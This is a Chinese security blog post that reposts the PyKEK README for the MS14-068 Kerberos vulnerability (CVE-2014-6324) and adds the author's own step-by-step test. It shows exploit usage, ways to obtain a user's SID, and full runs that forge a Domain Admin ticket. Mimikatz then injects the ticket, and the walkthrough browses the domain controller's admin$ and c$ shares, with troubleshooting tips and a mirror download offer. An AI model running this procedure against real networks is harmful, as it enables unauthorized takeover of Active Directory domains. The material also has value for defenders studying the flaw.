MS14-068 privilege escalation PoC

2014-12-06 20,864

数日前 安全脉搏播报了《MS14-068 Kerberos Domain Privilege Escalation》,安全运维和渗透师必关注的一个漏洞,该漏洞可能允许攻击者提升普通域用户账户为域管理员账户。

老外在github给出了一个POC,先分享如下:

Cyber_Bully

Python Kerberos Exploitation Kit

PyKEK (Python Kerberos Exploitation Kit), a python library to manipulate KRB5-related data. (Still in development)

For now, only a few functionalities have been implemented (in a quite Quick'n'Dirty way) to exploit MS14-068 (CVE-2014-6324) .

More is coming...

Author

Sylvain Monné

Contact : sylvain dot monne at solucom dot fr

http://twitter.com/bidord

Special thanks to: Benjamin DELPY gentilkiwi

Library content

  • kek.krb5: Kerberos V5 (RFC 4120) ASN.1 structures and basic protocol functions
  • kek.ccache: Credential Cache Binary Format (cchache)
  • kek.pac: Microsoft Privilege Attribute Certificate Data Structure (MS-PAC)
  • kek.crypto: Kerberos and MS specific cryptographic functions

 

Exploits

ms14-068.py

Exploits MS14-680 vulnerability on an un-patched domain controler of an Active Directory domain to get a Kerberos ticket for an existing domain user account with the privileges of the following domain groups :

  • Domain Users (513)
  • Domain Admins (512)
  • Schema Admins (518)
  • Enterprise Admins (519)
  • Group Policy Creator Owners (520)

Usage :

USAGE:
ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>

OPTIONS:
    -p <clearPassword>
 --rc4 <ntlmHash>

 

Example usage :

Linux (tested with samba and MIT Kerberos)

root@kali:~/sploit/pykek# python ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc
Password: 
  [+] Building AS-REQ for dc-a-2003.dom-a.loc... Done!
  [+] Sending AS-REQ to dc-a-2003.dom-a.loc... Done!
  [+] Receiving AS-REP from dc-a-2003.dom-a.loc... Done!
  [+] Parsing AS-REP from dc-a-2003.dom-a.loc... Done!
  [+] Building TGS-REQ for dc-a-2003.dom-a.loc... Done!
  [+] Sending TGS-REQ to dc-a-2003.dom-a.loc... Done!
  [+] Receiving TGS-REP from dc-a-2003.dom-a.loc... Done!
  [+] Parsing TGS-REP from dc-a-2003.dom-a.loc... Done!
  [+] Creating ccache file 'TGT_user-a-1@dom-a.loc.ccache'... Done!
root@kali:~/sploit/pykek# mv TGT_user-a-1@dom-a.loc.ccache /tmp/krb5cc_0 

On Windows

python.exe ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc
mimikatz.exe "kerberos::ptc TGT_user-a-1@dom-a.loc.ccache" exit

 

SID获取方法:

1)wmic useraccount where name="USERNAME" get sid

2)whoami /all   本机可以直接查出自己的SID;

 

胖编想 在未及时patch的内网内是不是要如鱼得水 随意穿插呢?那么内网渗透门槛又被拉低了?

为不能访问github的小朋友们提供百度盘链接,胖编这么贴心,应该能骗得主编表侄女的欢心了吧,想想就开心,想想就自信。

 

测试

Update:

1) use ms14-068.py

ms14-068.py -u secpulse@secpulse.local -s S-1-5-21-3653881884-3918934852-1693569208-8965 -d DC2.secpulse.local
Password:
  [+] Building AS-REQ for DC2.secpulse.local... Done!
  [+] Sending AS-REQ to DC2.secpulse.local... Done!
  [+] Receiving AS-REP from DC2.secpulse.local... Done!
  [+] Parsing AS-REP from DC2.secpulse.local... Done!
  [+] Building TGS-REQ for DC2.secpulse.local... Done!
  [+] Sending TGS-REQ to DC2.secpulse.local... Done!
  [+] Receiving TGS-REP from DC2.secpulse.local... Done!
  [+] Parsing TGS-REP from DC2.secpulse.local... Done!
  [+] Creating ccache file 'TGT_secpulse@secpulse.local.ccache'... Done!

2)put your TGT_secpulse@secpulse.local.ccache file into mimikatz directory

  最新版本的mimikatz才支持kerberos::ptc模块,下载地址:
https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20141120

否则会出现
ERROR mimikatz_doLocal ; "ptc" command of "kerberos" module not found !

3)新版本执行
mimikatz.exe log "kerberos::ptc TGT_secpulse@secpulse.local.ccache" exit

Using 'mimikatz.log' for logfile : OK

mimikatz(commandline) # kerberos::ptc TGT_secpulse@secpulse.local.ccache

Principal : (01) : secpulse ; @ SECPULSE.LOCAL

Data 0
       Start/End/MaxRenew: 2014/12/7 9:43:01 ; 2014/12/7 19:43:01 ; 2014/12/14 9:43:01
       Service Name (01) : krbtgt ; SECPULSE.LOCAL ; @ SECPULSE.LOCAL
       Target Name  (01) : krbtgt ; SECPULSE.LOCAL ; @ SECPULSE.LOCAL
       Client Name  (01) : secpulse ; @ SECPULSE.LOCAL
       Flags 50a10000    : name_canonicalize ; pre_authent ; renewable ; proxiable ; forwardable ;
       Session Key       : 0x00000017 - rc4_hmac_nt      
         1af2c0401238d0346b5456788atf1140
       Ticket            : 0x00000000 - null              ; kvno = 2    [...]
       * Injecting ticket : OK

mimikatz(commandline) # exit
Bye!

4)如果injecte成功 你有可能获得到了域管理session
那么klist看一下是否有了kerberos Ticket
那么 测试一下 
net use \\DC2.secpulse.local\admin$    //注:使用IP可能会失败 
dir \\DC2.secpulse.local\c$ 看看有木有权限 好运~


备注:
测试环境:
    win7,在xp下mimikatz会出错
    python2.7,使用更高版本比如python3.3脚本会报错
    在本机以local admin登录,如果以域用户登录提权会失败
    如果在以上操作下仍然失败,建议重启主机,并用域管理员在域内新建普通用户,以新建用户的用户名密码执行python脚本,重复以上流程

ADS-Kali-MS14068-Mimikatz-TGTInjection-AccesstoDC-NTDS

老外这篇是以 local admin(not with AD domain credentials)登陆的,成功获得域控机器权限。

{A1A4F3A4-D211-47F2-A30E-06611936789C}

打了patch的暂时就没办法利用啦。

本文作者:SP胖编

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/2874.html

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SP胖编

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